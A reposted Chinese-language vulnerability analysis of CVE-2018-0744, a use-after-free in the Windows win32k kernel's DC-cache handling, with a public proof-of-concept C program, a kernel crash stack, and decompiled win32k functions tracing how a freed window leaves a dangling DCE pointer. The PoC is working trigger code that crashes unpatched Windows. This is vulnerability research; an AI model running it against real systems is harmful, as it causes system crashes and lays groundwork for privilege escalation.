IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发工具 -> CVE-2018-0744 分析 -> 正文阅读

[开发工具]CVE-2018-0744 分析

CVE-2018-0744

0x1 漏洞简介

Windows 8.1RT 8.1Windows Server 2012R2Windows 10 Gold1511160717031709Windows Server 2016Windows Server 版本 1709 中的 Windows 内核由于对象的处理方式而允许提权漏洞在内存中,又名“Windows 特权提升漏洞”。

0x2 影响版本

Windows 8.1
Windows RT 8.1
Windows Server 2012
Windows 2012 R2
Windows 10 Gold
Winodws 10 1511
Winodws 10 1607
Winodws 10 1709
Windows Server 2016
Windows Server 2016 1709

0x3 漏洞分析

【 环 境 】 : W i n 10 ? 1607 ? x 64 \textcolor{green}{【环境】:Win10\ 1607\ x64} Win10?1607?x64

根据网上公开的POC复现漏洞

int main(int argc, char** argv) {
	WNDCLASSEXW wcls = { 0 };
	HWND hWnd1 = NULL, hWnd2=NULL, hWnd3=NULL;
	wcls.cbSize = sizeof(WNDCLASSEXW);
	wcls.lpfnWndProc = DefWindowProcW;
	wcls.lpszClassName = L"Class";
	ATOM atom = RegisterClassExW(&wcls);
	if (atom == NULL) {
		printf("[!]Error, line: %d\n", __LINE__ - 2);
		return 0;
	}
	hWnd1 = CreateWindowExW(0, (LPCWSTR)(unsigned __int16)atom, L"One", 0, CW_USEDEFAULT,0,
		0, 0, NULL, NULL, NULL, NULL);
	if (hWnd1 == NULL) {
		printf("[!]Error, line: %d\n", __LINE__ - 2);
		return 0;
    }
	SetClassLongW(hWnd1, GCL_STYLE, CS_CLASSDC);
	hWnd2 = CreateWindowExW(0, (LPCWSTR)(unsigned __int16)atom, L"Two", 0, CW_USEDEFAULT, 0,
		0, 0, NULL, NULL, NULL, NULL);
	if (hWnd2 == NULL) {
		printf("[!]Error, line: %d\n", __LINE__ - 2);
		return 0;
	}
	GetDC(hWnd1);
	SetClassLongW(hWnd1, GCL_STYLE, CS_CLASSDC | CS_OWNDC);
	hWnd3 = CreateWindowExW(0, (LPCWSTR)(unsigned __int16)atom, L"Three", 0, CW_USEDEFAULT, 0,
		0, 0, NULL, NULL, NULL, NULL);
    
	DestroyWindow(hWnd1);
	DestroyWindow(hWnd2);
    
	return 0;
}

拿到系统崩溃时的调用栈

CONTEXT:  ffff9e01665e2770 -- (.cxr 0xffff9e01665e2770)
rax=0000000000000000 rbx=ffffc68f43d84dd0 rcx=ffffc68f40841e70
rdx=0000000000000000 rsi=0000000041050b71 rdi=ffffc68f40841e70
rip=ffffc6bd26e30c8f rsp=ffff9e01665e3188 rbp=ffff9e01665e33f0
 r8=ffffc68f40800820  r9=0000000000000000 r10=ffffc68f43d84dd0
r11=0000000010003010 r12=0000000000000000 r13=ffffc68f40800820
r14=ffffc6bd272af9f0 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
win32kfull!IsDescendant+0x7:
ffffc6bd`26e30c8f 0fb74242        movzx   eax,word ptr [rdx+42h] ds:002b:00000000`00000042=????
Resetting default scope

PROCESS_NAME:  conhost.exe

STACK_TEXT:  
ffff9e01`665e3188 ffffc6bd`26e30c40     : 00000000`41050b71 ffffc68f`40841e70 00000082`0000001f 00000289`00000400 : win32kfull!IsDescendant+0x7
ffff9e01`665e3190 ffffc6bd`26e2fdad     : 200c0110`04ef0000 ffff9e01`00000001 31c86450`00000004 ffffc6bd`271eb839 : win32kfull!WindowMatchesDCE+0x1c
ffff9e01`665e31c0 ffffc6bd`26e96b84     : ffffc68f`40841e70 ffff9e01`665e33f0 ffffc68f`43cc0290 00000000`00000001 : win32kfull!UnredirectDCEs+0x65
ffff9e01`665e31f0 ffffc6bd`26e96347     : ffffc68f`40841e70 00000000`00000001 00000000`0000000a 00000000`00000000 : win32kfull!UnsetRedirectedWindow+0x98
ffff9e01`665e3220 ffffc6bd`26e95c3b     : ffffc68f`40841e70 00000000`00000006 00070000`00070007 00000000`04ef0000 : win32kfull!UnsetLayeredWindow+0x6b
ffff9e01`665e3290 ffffc6bd`26e95a17     : ffffc68f`40841e70 ffffc68f`43d8c960 00000000`00000000 00000000`00000000 : win32kfull!ComposeWindow+0x4f
ffff9e01`665e32c0 ffffc6bd`26e2f66a     : 00000000`00000001 ffff9e01`665e33f0 ffffc68f`43d8c960 ffffc68f`40841e70 : win32kfull!DecomposeWindowIfNeeded+0x23
ffff9e01`665e32f0 ffffc6bd`26e3ebb1     : ffffc68f`43d8c960 ffff9e01`665e3529 ffffc68f`43d8ca08 ffffc68f`43e59b10 : win32kfull!zzzChangeStates+0x70a
ffff9e01`665e3470 ffffc6bd`26e3b890     : ffffc6bd`272af9f0 ffffc6bd`272af9f0 00000000`00000001 ffffc68f`43e59b10 : win32kfull!zzzBltValidBits+0x125
ffff9e01`665e3590 ffffc6bd`26e381b6     : ffffc68f`00000001 ffffc68f`40841e70 00000000`00000000 00000000`00000001 : win32kfull!xxxEndDeferWindowPosEx+0x1c4
ffff9e01`665e3660 ffffc6bd`26e1fb59     : ffffc68f`40841e70 00000000`00000000 00000000`00000000 ffffc6bd`00000000 : win32kfull!xxxSetWindowPosAndBand+0xca
ffff9e01`665e36f0 ffffc6bd`26e34d99     : ffffc68f`40841e70 ffff9e01`665e37a9 00000000`00000000 ffffc68f`43e59b10 : win32kfull!xxxSetWindowPos+0x29
ffff9e01`665e3740 ffffc6bd`27207a7c     : ffff9e01`00000000 00000000`00000001 ffffc68f`00000000 ffffc68f`40841e70 : win32kfull!xxxDestroyWindow+0x599
ffff9e01`665e3810 ffffc6bd`271ec91a     : ffffc68f`43e59b10 ffffc68f`408418d0 00000000`00000000 ffffc6bd`26eda1fc : win32kbase!xxxDestroyWindowIfSupported+0x1c
ffff9e01`665e3840 ffffc6bd`271cf7c1     : 00000000`00000000 00000000`00000356 00000000`00000000 ffffc68f`43e59b10 : win32kbase!HMDestroyUnlockedObject+0x4a
ffff9e01`665e3870 ffffc6bd`271ed2ec     : 00000000`00000000 00000000`00000000 ffffc68f`43e59b10 00000000`00000000 : win32kbase!DestroyThreadsObjects+0xf1
ffff9e01`665e38a0 ffffc6bd`271eaa86     : 00000000`00000001 ffffc68f`43e59b10 00000000`00000000 ffffc68f`43e59b10 : win32kbase!xxxDestroyThreadInfo+0x374
ffff9e01`665e3a10 ffffc6bd`26eead64     : 00000000`00000000 00000000`00000001 ffffc88c`2f737080 00000000`00000001 : win32kbase!UserThreadCallout+0x296
ffff9e01`665e3a60 ffffc6bd`271cbf57     : ffff9e01`665e3bb8 fffff800`fd50b308 00000000`00000000 ffffc88c`2f68aa00 : win32kfull!W32pThreadCallout+0x54
ffff9e01`665e3a90 fffff800`fd5f0e17     : ffff9e01`665e3bb8 fffff800`fd50b308 00060030`00010002 00000000`00000000 : win32kbase!W32CalloutDispatch+0x147
ffff9e01`665e3ad0 fffff800`fd635745     : ffffc88c`31cb2e20 ffff9e01`665e3b40 00000000`00000000 ffffc88c`2f737080 : nt!ExCallCallBack+0x37
ffff9e01`665e3b00 fffff800`fd6f89ae     : 00000000`00000000 ffffc88c`2f737080 ffff9e01`665e3e40 ffffc88c`2f737128 : nt!PspExitThread+0x3e9
ffff9e01`665e3c40 fffff800`fd23da22     : ffffc88c`31c37d00 fffff800`fd25277a 00000000`00000000 ffffc88c`31c37d60 : nt!KiSchedulerApcTerminate+0x2e
ffff9e01`665e3c70 fffff800`fd359610     : 00000000`00000000 ffffc68f`40841e70 00000000`0000029e fffff800`00000000 : nt!KiDeliverApc+0x2f2
ffff9e01`665e3d00 fffff800`fd360d3a     : ffffc88c`2f737080 00000000`00000000 00000000`00000020 00000000`00000000 : nt!KiInitiateUserApc+0x70
ffff9e01`665e3e40 00007ff9`a75c89b0     : 000000dd`2cd8f770 00007ff9`a4e4156c 00000239`0cfd1e70 00007ff9`89399010 : nt!KiSystemServiceExit+0x9f
000000dd`2cd8f6c0 00007ff9`a47e1164     : 00007ff9`a4e54866 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!KiUserCallbackDispatch
000000dd`2cd8f718 00007ff9`a4e54866     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32u!NtUserGetMessage+0x14
000000dd`2cd8f720 00007ff9`89392e3b     : 000000dd`2cd8f770 00000000`00000000 00000000`00000000 00000000`00000000 : USER32!GetMessageW+0x26
000000dd`2cd8f750 00007ff9`a4cc8364     : 00000000`00000000 00000000`000103c3 00000000`00000000 00000000`00000000 : ConhostV2!ConsoleInputThread+0x7b
000000dd`2cd8f7b0 00007ff9`a7585e91     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
000000dd`2cd8f7e0 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

SYMBOL_NAME:  win32kfull!IsDescendant+7

此时只能知道崩溃发生的位置是在 w i n 32 k f u l l ! I s D e s c e n d a n t + 0 x 7 \textcolor{orange}{win32kfull!IsDescendant+0x7} win32kfull!IsDescendant+0x7,但起因还得根据POC和回溯调用栈去分析。在Win10中已经不再提供与窗口相关的内核对象结构体符号了,所以这对分析增加了不少麻烦。本人在此系统以上进行的漏洞分析,限于能力和精力仅是围绕着漏洞相关的结构体,借助Win7的符号和WRK源码进行。

首先看到POC中连续创建了三个窗口hWnd1, hWnd2hWnd3,三个窗口不同的地方是:

  • hWnd1在创建时没有设置窗口类风格CS_CLASSDC,其标题为 One
  • hWnd2是在hWnd1设置了CS_CLASSDC类风格的前提下创建的,其标题为 Two
  • hWnd3是在调用了 G e t D C ( h W n d 1 ) \textcolor{cornflowerblue}{GetDC(hWnd1)} GetDC(hWnd1),同时给hWnd1设置了CS_CLASSDCCS_OWNDC类风格的前提下创建的,其类名为 Three

三个窗口除了标题不同外,就是创建的前提不同。这有何玄机呢?还从得分析 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx开始。

■ CreateWindowEx分析

这是应用层调用 C r e a t e W i n d o w E x \textcolor{cornflowerblue}{CreateWindowEx} CreateWindowEx时对应的内核函数。对于该函数我们主要关注设置CS_CLASSDCCS_OWNDC和没设置的区别。关键代码:

if ( (Gcl_Style & 0x20) != 0 || (Gcl_Style & 0x40) != 0 && !*((_QWORD *)pcls_1 + 3) )// 窗口设置了 CS_CLASSDC 或者 CS_CLASSDC
{
    v137 = 0x8000;
    if ( GetStyleWindow((__int64)pwnd, 0xB20) )
      v137 = 0xC000;
    GreLockVisRgn(*gpDispInfo);
    hDC = (HDC)CreateCacheDC(pwnd, v137, 0i64);
    v139 = *gpDispInfo;
    if ( !hDC )
      goto LABEL_512;
    GreUnlockVisRgn(v139);
}

line:7在设置了 CS_CLASSDC或者 CS_CLASSDC风格之后,函数会调用 C r e a t e C a c h e D C \textcolor{cornflowerblue}{CreateCacheDC} CreateCacheDC为新创建的窗口创建一个DC缓存。

■ CreateCacheDC分析

__int64 __fastcall CreateCacheDC(struct tagWND *pwndOrg, int flags, __int64 a3)
{
...
  pdce = Win32AllocPool(0x60i64, 'cdsU');
  if ( !pdce )
    return 0i64;
 ...
  v8 = GreCreateDisplayDC(v7, 0i64, 0i64);
  if ( !v8 )
  {
    Win32FreePool(pdce);
    return 0i64;
  }
  if ( _bittest(&flags, 0xEu) )
  {
    if ( (int)IsGetStyleWindowSupported_0() < 0 )
      v9 = 0i64;
    else
      v9 = GetStyleWindow_0(pwndOrg, 0xB20i64);
    if ( !v9 )
      flags &= 0xFFFFBFFF;
  }
  else
  {
    v9 = 0i64;
  }
  *(_QWORD *)pdce = *(_QWORD *)(gpDispInfo + 0x40);
  *(_QWORD *)(gpDispInfo + 0x40) = pdce;
  *(_QWORD *)(pdce + 0x28) = 0i64;
  *(_QWORD *)(pdce + 0x30) = 0i64;
  *(_QWORD *)(pdce + 0x38) = 0i64;
  *(_QWORD *)(pdce + 0x50) = 0i64;
  *(_QWORD *)(pdce + 8) = v8;
  *(_DWORD *)(pdce + 0x40) = flags;
  *(_QWORD *)(pdce + 0x10) = pwndOrg;
  *(_QWORD *)(pdce + 0x18) = pwndOrg;
  *(_QWORD *)(pdce + 0x20) = v9;
  *(_QWORD *)(pdce + 0x58) = a3;
 ...
  if ( _bittest(&flags, 0xFu) )                 // 如果设置了 DCX_OWNDC
  {
    GreSetDCOwnerEx(v8, 2147483650i64, 0i64, 1i64);
    *(_QWORD *)(pdce + 0x48) = gptiCurrent;
    *((_QWORD *)pwndOrg + 0x25) = pdce;
    if ( _bittest(&flags, 0xEu) )
    {
      v12 = IsUpdateRedirectedDCESupported_0();
      if ( v12 >= 0 )
        UpdateRedirectedDCE_0(pdce, 0i64);
    }
  }
  else
  {
    GreSetDCOwnerEx(v8, 2147483666i64, 0i64, 1i64);
    *(_QWORD *)(pdce + 0x48) = 0i64;
    ++gnDCECount;
  }
  if ( (flags & 2) == 0 )		// !(flags & DCX_CACHE)
  {
    pcls = *((_QWORD *)pwndOrg + 0x13);
    if ( (*(_BYTE *)(pcls + 0x54) & 0x40) != 0 )// 如果窗口类风格设置了CFCLASSDC
      *(_QWORD *)(pcls + 0x18) = pdce;          // pcls->pdce=pdce
    *(_DWORD *)(pdce + 0x40) |= 0x1000u;	   // pdce->flags |= DCX_INUSE
    if ( (int)IsRevalidateDCESupported_0() >= 0 )
      RevalidateDCE_0(pdce);
  }
  if ( *(_QWORD *)(gpDispInfo + 48) )
    GreGetBounds(*(_QWORD *)(pdce + 8), 0i64, 1i64);
  return *(_QWORD *)(pdce + 8);
}

@line:27新创建的dce以链表的形式存在 g p D i s p I n f o + 0 x 40 \textcolor{orange}{gpDispInfo+0x40} gpDispInfo+0x40

可见如果窗口设置的类风格为 DCX_OWNDC,则创建的DC缓存会放在 t a g W N D + 0 x 128 \textcolor{orange}{tagWND+0x128} tagWND+0x128@line:44;如果窗口类风格为 CFCLASSDC,则创建的DC缓存会放在 t a g W N D ? > p c l s ? > p d c e \textcolor{orange}{tagWND->pcls->pdce} tagWND?>pcls?>pdce中。DCE的结构体大概如下:

typedef struct tagDCE {
    struct tagDCE        *pdceNext;				//+0x00
    HDC                  hdc;				    //+0x08
    struct tagWND        *pwndOrg;				//+0x10
    struct tagWND        *pwndClip;				//+0x18
    HRGN                 hrgnClip;				//+0x20
    HRGN                 hrgnClipPublic;		 //+0x28	
    HRGN                 hrgnSavedVis;			 //+0x30
    QWORD			    unkfield_1;			    //+0x38
    DWORD                flags;					//+0x40
    DWORD 				padd;				   //+0x44
    struct tagTHREADINFO *ptiOwner;				//+0x48
    QWORD 				unkfield_2;				//+0x50
    QWORD				unkfield_3;				//+0x58
} DCE, *PDCE;

接着再来看为hWnd1调用 G e t D C \textcolor{cornflowerblue}{GetDC} GetDC时发生了什么

■ GetDCEx分析

__int64 __fastcall GetDCEx(struct tagWND *pwnd, HRGN a2, unsigned int a3)
{
 ...
  	v361 = flag & 0x8080441F
 ...
 	ppdce = gpDispInfo;
 	pdceNext = *(_QWORD *)(ppdce + 0x40);
    pdceFirst = (__int64 *)(ppdce + 0x40);
    for ( j = 0i64; pdceNext; pdceNext = *(_QWORD *)pdceNext )
    {
      if ( (*(_DWORD *)(pdceNext + 0x40) & 0x400002) == 2 )// pdce->flags & DCX_CACHE
      {
        hdc = *(_QWORD *)(pdceNext + 8);
        LOBYTE(v18) = 1;
        v353[1] = 0i64;
        pobj = HmgShareLock(v30, v18);
        v353[0] = v31;
        if ( !pobj || (v32 = *(_DWORD *)(pobj + 0x28), XDCOBJ::vAltUnlockNoNullSet((XDCOBJ *)v353), (v32 & 1) == 0) )
        {
          if ( !*(_QWORD *)(pdceNext + 0x58) )
          {
            flags = *(_DWORD *)(pdceNext + 0x40);
            if ( _bittest(&flags, 0xBu) )//pdce->flags & DCX_INVALID
              goto LABEL_62;
            if ( !_bittest(&flags, 0xCu) )//!(pdce->flags & DCX_INUSE)
              ppdceNotInUse = pdceFirst;
          }
        }
      }
      pdceFirst = (__int64 *)pdceNext;
    }
    pdceFirst = ppdceNotInUse;
    if ( !ppdceNotInUse )
    {
      if ( !CreateCacheDC(pwnd_1, flag & 0x4000 | 0x802, 0i64) )
        goto LABEL_775;
      continue;
    }
 ...
  pdce = *pdceFirst;
  pwnd = pwnd_1;
  i = (struct tagDCE *)*pdceFirst;
  do
  {
LABEL_63:
    v316 = 1;
    if ( (*(_DWORD *)(pdce + 64) & 0x800) == 0 && (int)IsSpbCheckDceSupported_0(v26) >= 0 )
      SpbCheckDce_0(pdce);
    v34 = *(HDC *)(pdce + 8);
    *(_DWORD *)(pdce + 0x40) = v361 | 0x1000;
    GreValidateVisrgn(v34);
    v324 = 0i64;
    if ( (int)IsCalcVisRgnSupported_0(v35) < 0 || !(unsigned int)CalcVisRgn_0(&v324, pwnd, v10, v361) )
      *(_DWORD *)(pdce + 0x40) |= 0x10000000u;
    *(_QWORD *)(pdce + 0x20) = v319;
    *(_QWORD *)(pdce + 0x10) = pwnd;
    *(_QWORD *)(pdce + 0x18) = v10;
    *(_QWORD *)(pdce + 0x28) = 0i64;
    *(_QWORD *)(pdce + 0x30) = 0i64;
    ResetOrg(v324, (struct tagDCE *)pdce, 1);
    if ( !v324 )
      v370 = 1;
LABEL_157:
    ;
  }
  while ( (*(_DWORD *)(pdce + 0x40) & 0x8080441F) != v361 );
 ...  
}

@line:9函数首先遍历全局DCE链表,找到标记了DCX_CACHE标志的DCE,然后验证是否设置了DCX_INVALID@line:25,且未设置DCK_INUSE@line:23,或者只设置了DCX_INVALID,如果满足,则函数选中此失效的dce,后续进行一些初始化操作 @line:54,并返回 d c e ? > h d c \textcolor{orange}{dce->hdc} dce?>hdc。如果设置了DCX_INVALID,则直接退出循环进入到后续的初始化操作。如果未设置DCX_INUSE,则后续判断ppdceNotInUse是否为空,为空则调用 C r e a t e C a c h e D C \textcolor{cornflowerblue}{CreateCacheDC} CreateCacheDC创建一块DC缓存,最后返回 p d c e ? > h d c \textcolor{orange}{pdce->hdc} pdce?>hdc

再来看看窗口销毁时,对DC缓存是如何释放的。

■ xxxFreeWindow分析

__int64 __fastcall xxxFreeWindow(struct tagWND *pwnd)
{
 ...
 pdce = *(struct tagDCE **)(gpDispInfo + 0x40);
 while ( 1 )
    {
      flags = *((_DWORD *)pdce + 0x10);
      if ( (flags & 0x400800) != 0 )            // pdce->flags & DCX_INVALID
      {
LABEL_87:
        pdce_1 = pdce;
        goto LABEL_88;
      }
      pwndOrg = (struct tagWND *)*((_QWORD *)pdce + 2);
      if ( pwndOrg == pwnd || *((struct tagWND **)pdce + 3) == pwnd || *((struct tagWND **)pdce + 4) == pwnd )
      {
        if ( (flags & 2) != 0 )                 // pdce->flags & DCX_CACHE
        {
          if ( _bittest(&flags, 0xCu) )
          {
            if ( *((_QWORD *)pdce + 9) == gptiCurrent )//pdce->ptiOwner == gptiCurrent
            {
              v61 = ReleaseCacheDC(*((_QWORD *)pdce + 1), 0i64);//ReleaseCacheDC((pdce->hdc), 0i64)
            }
            else
            {
              DestroyCacheDC(pdce_1, *((_QWORD *)pdce + 1));//DestroyCacheDC(pdce,pdce->hdc)
              v61 = 1;
            }
          }
          else
          {
            if ( (unsigned int)GreSetDCOwnerEx(*((_QWORD *)pdce + 1), 2147483666i64, 0i64, 1i64) )
              goto LABEL_149;
            v61 = 2;
          }
          if ( v61 != 1 )
          {
            if ( v61 != 2 )
              goto LABEL_149;
            goto LABEL_159;
          }
        }
        else
        {
          if ( pdce == *(struct tagDCE **)(*((_QWORD *)pwndOrg + 0x13) + 0x18i64) )// 清除DC的代码段
          {
            if ( (flags & 0xC0) != 0 )//pdce->flags & (DCX_EXCLUDERGN | DCX_INTERSECTRGN)
              DeleteHrgnClip(pdce);
LABEL_149:
            InvalidateDCE(pdce);
            goto LABEL_86;
          }
          if ( pdce == *((struct tagDCE **)pwndOrg + 0x25) )
          {
            *((_QWORD *)pwndOrg + 0x25) = 0i64; // tagWND->pdce=NULL
LABEL_159:
            DestroyCacheDC(pdce_1, *((_QWORD *)pdce + 1));
            goto LABEL_86;
          }
        }
      }
LABEL_86:
      if ( pdce == *(struct tagDCE **)pdce_1 )
        goto LABEL_87;
LABEL_88:
      pdce = *(struct tagDCE **)pdce_1;
      if ( !*(_QWORD *)pdce_1 )
      {
        v28 = (_QWORD **)gpDispInfo;
        break;
      }
    }
 ...
}

@line:4函数从全局链表中取出第一个dce,然后循环遍历dce节点,按不同条件释放DC缓存 @line:15@line:46

■ 总结分析

  • 回顾POC,三个窗口都是同一个类,所以三个窗口共享一个类的内核数据。
  • 第一个创建的窗口hWnd1,因为没有设置CS_CLASSDC或者CS_OWNDC类风格,所以其 t a g W N D 1 ? > p d c e \textcolor{orange}{tagWND1->pdce} tagWND1?>pdce或者 t a g W N D 1 ? > p c l s ? > p d c e \textcolor{orange}{tagWND1->pcls->pdce} tagWND1?>pcls?>pdceNULL,系统没有为此窗口创建DC缓存。
  • 创建的第二个窗口hWnd2由于已经设置了CS_CLASSDC风格,所以系统会为其创建一块DC缓存,并将指向该缓存的指针pdce2放在 t a g W N D 2 ? > p c l s ? > p d c e \textcolor{orange}{tagWND2->pcls->pdce} tagWND2?>pcls?>pdce,此时 p d c e 2 ? > p w n d O r g \textcolor{orange}{pdce2->pwndOrg} pdce2?>pwndOrg指向的是tagWND2。由于hWnd1hWnd2都是同一个窗口类,所以 t a g W N D 1 ? > p c l s ? > p d c e = p d c e 2 \textcolor{orange}{tagWND1->pcls->pdce=pdce2} tagWND1?>pcls?>pdce=pdce2
  • 调用 G e t D C ( h W n d 1 ) \textcolor{cornflowerblue}{GetDC(hWnd1)} GetDC(hWnd1)后, p d c e 2 ? > p w n d O r g \textcolor{orange}{pdce2->pwndOrg} pdce2?>pwndOrg指向了tagWND1 t a g W N D 1 ? > p d c e \textcolor{orange}{tagWND1->pdce} tagWND1?>pdce依然为NULL
  • 创建第三个窗口时,由于已经同时设置了CS_CLASSDCCS_OWNDC类风格,所以系统为其创建一块DC缓存,并将指向该缓存的指针pdce3存放在 t a g W N D 3 ? > p d c e \textcolor{orange}{tagWND3->pdce} tagWND3?>pdce t a g W N D 3 ? > p d c e \textcolor{orange}{tagWND3->pdce} tagWND3?>pdce。并且有 t a g W N D 1 ? > p c l s ? > p d c e = p d c e 3 \textcolor{orange}{tagWND1->pcls->pdce=pdce3} tagWND1?>pcls?>pdce=pdce3 t a g W N D 2 ? > p c l s ? > p d c e = p d c e 3 \textcolor{orange}{tagWND2->pcls->pdce=pdce3} tagWND2?>pcls?>pdce=pdce3 p d c e 3 ? > p w n d O r g = t a g W N D 3 \textcolor{orange}{pdce3->pwndOrg=tagWND3} pdce3?>pwndOrg=tagWND3
  • 当释放窗口1tagWND1时,回顾 x x x F r e e W i n d o w \textcolor{cornflowerblue}{xxxFreeWindow} xxxFreeWindow一节的分析,系统从全局dce链表中取出第一个dce,此时的dcedce2,因为插入链表的顺序和创建dce时的顺序是一致的。此时将不满足条件**@line:17**、@line:46和**@line:54**,所以dce2没有被释放,但是此后tagWND1将被释放而变得无效,也就是说 p d c e 2 ? > p w n d O r g \textcolor{orange}{pdce2->pwndOrg} pdce2?>pwndOrg指向的是一个无效内存,随后将 d c e 2 ? > f l a g s \textcolor{orange}{dce2->flags} dce2?>flags设置为无效。
  • 当释放窗口2tagWND2时,由于dce2无效,所以又没有释放dce2
  • 综上,相当于dce2没有被正确释放,并且 d c e 2 ? > p w n d O r g \textcolor{orange}{dce2->pwndOrg} dce2?>pwndOrg存在UAF,故而造成系统在某个时机BSOD
  开发工具 最新文章
Postman接口测试之Mock快速入门
ASCII码空格替换查表_最全ASCII码对照表0-2
如何使用 ssh 建立 socks 代理
Typora配合PicGo阿里云图床配置
SoapUI、Jmeter、Postman三种接口测试工具的
github用相对路径显示图片_GitHub 中 readm
Windows编译g2o及其g2o viewer
解决jupyter notebook无法连接/ jupyter连接
Git恢复到之前版本
VScode常用快捷键
上一篇文章      下一篇文章      查看所有文章
加:2021-09-11 19:01:24  更:2021-09-11 19:03:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/23 4:12:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计